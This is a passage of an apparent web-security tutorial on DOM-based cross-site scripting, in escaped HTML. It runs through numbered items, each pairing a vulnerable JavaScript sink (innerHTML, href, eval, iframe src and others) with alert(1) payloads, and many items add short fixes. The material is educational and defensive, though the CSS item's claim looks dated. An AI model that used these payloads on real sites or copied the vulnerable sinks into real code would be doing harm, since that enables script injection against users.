&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;substring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;obj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;#&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;x&lt;/span&gt; &lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;alert(1)&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why it works:&lt;/strong&gt;&lt;br&gt;
The input is hidden inside an object, making it easy to miss.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How to think:&lt;/strong&gt;&lt;br&gt;
Track data even when it's wrapped in objects.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;textContent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  2. Array Join Injection
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;parts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt; world&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;parts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;#&lt;span class="nt"&gt;&amp;lt;svg&lt;/span&gt;&lt;span class="err"&gt;/&lt;/span&gt;&lt;span class="na"&gt;onload=&lt;/span&gt;&lt;span class="s"&gt;alert(1)&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why it works:&lt;/strong&gt;&lt;br&gt;
Array operations don’t sanitize input.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;textContent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;parts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  3. replace() Callback Injection
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/x/g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;&amp;lt;img src=x onerror=alert(1)&amp;gt;&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#xxx
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why it works:&lt;/strong&gt;&lt;br&gt;
Developer introduces HTML dynamically.&lt;/p&gt;


&lt;h2&gt;
  
  
  4. Anchor href Injection
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;a href="&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&amp;gt;Click&amp;lt;/a&amp;gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;Payloads:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="nx"&gt;javascript&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;html&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/script&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why it works:&lt;/strong&gt;&lt;br&gt;
JavaScript URLs execute in browser context.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  5. History API Injection
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;page&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;search&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nx"&gt;history&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pushState&lt;/span&gt;&lt;span class="p"&gt;({},&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;page&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;page&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;?page=&amp;lt;img src=x onerror=alert(1)&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  6. Form Action Injection
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;form&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;form action="&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&amp;gt;&amp;lt;/form&amp;gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="nx"&gt;javascript&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Impact:&lt;/strong&gt;&lt;br&gt;
Form submits to attacker-controlled or JS URL.&lt;/p&gt;


&lt;h2&gt;
  
  
  7. CSS Injection → XSS
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;style&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;/style&amp;gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight css"&gt;&lt;code&gt;&lt;span class="nf"&gt;#body&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;background&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="sx"&gt;url("javascript:alert(1)&lt;/span&gt;&lt;span class="err"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why it works:&lt;/strong&gt;&lt;br&gt;
Some browsers interpret JS inside CSS.&lt;/p&gt;


&lt;h2&gt;
  
  
  8. onclick Attribute Injection
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;button onclick="&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&amp;gt;Click&amp;lt;/button&amp;gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  9. Dataset → eval Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;div data-x="&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&amp;gt;&amp;lt;/div&amp;gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;div&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;dataset&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nf"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why it works:&lt;/strong&gt;&lt;br&gt;
Multi-step execution chain.&lt;/p&gt;


&lt;h2&gt;
  
  
  10. outerHTML Replacement
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;outerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;#&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;x&lt;/span&gt; &lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;alert(1)&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  11. Manual Query Parsing
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;q&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;search&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;q=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;q&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;?q=&amp;lt;svg/onload=alert(1)&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  12. HTML Comment Breakout
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;!-- &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; --&amp;gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;#--&amp;gt;&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;x&lt;/span&gt; &lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;alert(1)&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why it works:&lt;/strong&gt;&lt;br&gt;
Breaks out of comment context.&lt;/p&gt;


&lt;h2&gt;
  
  
  13. Template Literal Injection
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;tpl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;h1&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;/h1&amp;gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;tpl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;#&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;x&lt;/span&gt; &lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;alert(1)&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  14. iframe src Injection
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;iframe&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;src&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Payloads:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="nx"&gt;javascript&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;html&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/script&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  15. Error Handling Injection
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
